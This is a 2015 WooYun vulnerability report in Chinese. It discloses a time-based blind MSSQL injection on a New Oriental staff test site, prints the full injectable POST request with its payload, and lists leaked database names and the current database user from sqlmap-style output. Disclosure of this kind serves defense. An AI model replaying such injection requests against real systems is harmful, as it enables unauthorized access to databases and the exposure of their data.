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缺陷编号:wooyun-2015-0118172

漏洞标题:新东方某站点MSSQL盲注

相关厂商:新东方

漏洞作者: lijiejie

提交时间:2015-06-04 11:43

修复时间:2015-07-19 13:32

公开时间:2015-07-19 13:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-04: 厂商已经确认,细节仅向厂商公开
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

新东方某站点MSSQL盲注

详细说明:

注射点:

POST /p/Handler/ApiHandler.ashx HTTP/1.1
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://xytest.staff.xdf.cn
Cookie: ASP.NET_SessionId=hkjmbgvondvsrk55zj1jxc45
Host: xytest.staff.xdf.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
OpType=IsValidate&studenType=3&studenVal=123456*%20--%20


参数studenVal可注入。MSSQL time blind.

漏洞证明:

current user:    'shanqibin'
current database: 'NISmember0311'
back-end DBMS: Microsoft SQL Server 2008
[11:36:03] [INFO] fetching database names
[11:36:03] [INFO] fetching number of databases
[11:36:03] [INFO] resumed: 59
[11:36:03] [INFO] resumed: A2
[11:36:03] [INFO] resumed: aaa
[11:36:03] [INFO] resumed: AD_PASSPORT_DB
[11:36:03] [INFO] resumed: API
[11:36:03] [INFO] resumed: aspnetdb
[11:36:03] [INFO] resumed: BJ20140519
[11:36:03] [INFO] resumed: BJ20140520
[11:36:03] [INFO] resumed: BJ20140606
[11:36:03] [INFO] resumed: BJ201406061400
[11:36:03] [INFO] resumed: BJ20140714
[11:36:03] [INFO] resumed: BJ20140714_001
[11:36:03] [INFO] resumed: BJ20140915
[11:36:03] [INFO] resumed: bjnis_crm
[11:36:03] [INFO] resumed: BJTEST
[11:36:03] [INFO] resumed: BJTEST_DY
[11:36:03] [INFO] resumed: bushutest
[11:36:03] [INFO] resumed: CQ0825
[11:36:03] [INFO] resumed: CQNIS0519
[11:36:03] [INFO] resumed: CS0818
[11:36:03] [INFO] resumed: DevRequire


有59个库,上面只跑了一部分。

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-04 13:31

厂商回复:

感谢支持新东方安全

最新状态:

暂无